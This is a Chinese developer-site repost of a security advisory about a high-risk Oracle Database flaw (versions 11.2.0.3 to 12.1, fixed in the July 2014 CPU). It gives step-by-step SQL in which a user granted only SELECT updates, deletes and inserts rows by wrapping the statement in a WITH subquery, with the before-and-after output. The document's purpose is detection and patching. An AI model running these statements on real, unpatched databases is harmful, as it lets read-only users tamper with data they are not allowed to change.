热门标签 | HotTags
当前位置:  开发笔记 > 数据库 > 正文

Oracle数据库高危漏洞警告!

最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影

最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影

各位用户,最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影响范围非常广泛,包括在国内最常见的11.2.0.3,11.2.0.4,12.1等版本。

该漏洞在2014年7月的CPU中被修正,但是如果用户未应用该CPU,则漏洞仍然存在。强烈建议您检查所有Oracle数据库,确认是否存在该安全风险。

云和恩墨在自己的测试环境中重现了该漏洞,云和恩墨的测试环境包括11.2.0.3,11.2.0.4,12.1.0.1这5个版本。您也可以通过以下步骤,检查数据库是否存在该漏洞。

(注:以下步骤仅供参考,原则上不会对数据库有任何影响,但是对于在生产环境中执行以下SQL可能产生的风险云和恩墨不负有任何责任)

1.首先创建基本测试用户,仅仅授予创建会话权限

SQL> create user test_update identified by test_update;

User created.

SQL> grant create session to test_update;

Grant succeeded.

2.将表查询权限赋予用户,注意很多产品环境中都存在类似设置

SQL> grant select on t to test_update;

Grant succeeded.

SQL> select count(*) from t;

COUNT(*)

----------

100

3.使用测试用户连接,验证普通的增、删、改权限被拒绝

SQL> conn test_update/test_update

Connected.

SQL> select * from enmo.t where rownum = 1;

ID

----------

1

SQL> update enmo.t set id = 1 where id = 1;

update enmo.t set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

4.在WITH语句中,权限限制被完全绕过,增删改权限被获得

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 0 where id = 1;

1 row updated.

SQL> commit;

Commit complete.

SQL> delete (with temp as (select * from enmo.t) select id from temp) where id = 2;

1 row deleted.

SQL> insert into (with temp as (select * from enmo.t) select * from temp) select 2 from enmo.t where id =3;

1 row created.

5.在Oracle的CPU中,2014年7月的CPU中修改了该问题

由于很多用户不清楚CPU内容,,并未应用,所以产生高危的影响。以下是应用该CPU之后,应有的权限反应。

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1;

update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

警告:由于很多用户对CPU安全补丁关注不足,所以系统中可能存在此高危风险,建议用户关注该漏洞,并及时采取相应举措。与此有关的CVE号包括:CVE-2013-3751、CVE-2014-4236、CVE-2014-4237、CVE-2014-4245、CVE-2013-3774 .

相关信息还可以参考Oracle的CPU页面:

本文永久更新链接地址

推荐阅读
  • 本文介绍了adg架构设置在企业数据治理中的应用。随着信息技术的发展,企业IT系统的快速发展使得数据成为企业业务增长的新动力,但同时也带来了数据冗余、数据难发现、效率低下、资源消耗等问题。本文讨论了企业面临的几类尖锐问题,并提出了解决方案,包括确保库表结构与系统测试版本一致、避免数据冗余、快速定位问题等。此外,本文还探讨了adg架构在大版本升级、上云服务和微服务治理方面的应用。通过本文的介绍,读者可以了解到adg架构设置的重要性及其在企业数据治理中的应用。 ... [详细]
  • 本文讨论了B360主板是否可以安装win7系统的问题。由于B360主板不支持win7系统且缺乏官方驱动的支持,安装win7系统可能存在兼容性和稳定性问题。然而,通过借助USB3.0转接卡,B360主板仍然可以安装win7系统,但USB接口无法使用。相比之下,B365主板可以直接支持win7系统,并提供了相应的驱动,具有更好的稳定性和兼容性。选择合适的主板对于安装win7系统至关重要。 ... [详细]
  • 推荐一个ASP的内容管理框架(ASP Nuke)的优势和适用场景
    本文推荐了一个ASP的内容管理框架ASP Nuke,并介绍了其主要功能和特点。ASP Nuke支持文章新闻管理、投票、论坛等主要内容,并可以自定义模块。最新版本为0.8,虽然目前仍处于Alpha状态,但作者表示会继续更新完善。文章还分析了使用ASP的原因,包括ASP相对较小、易于部署和较简单等优势,适用于建立门户、网站的组织和小公司等场景。 ... [详细]
  • 本文介绍了如何在MySQL中将零值替换为先前的非零值的方法,包括使用内联查询和更新查询。同时还提供了选择正确值的方法。 ... [详细]
  • 本文介绍了如何使用Power Design(PD)和SQL Server进行数据库反向工程的方法。通过创建数据源、选择要反向工程的数据表,PD可以生成物理模型,进而生成所需的概念模型。该方法适用于SQL Server数据库,对于其他数据库是否适用尚不确定。详细步骤和操作说明可参考本文内容。 ... [详细]
  • 在数据分析工作中,我们通常会遇到这样的问题,一个业务部门由若干业务组构成,需要筛选出每个业务组里业绩前N名的业务员。这其实是一个分组排序的 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
author-avatar
涛升一舅_250
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有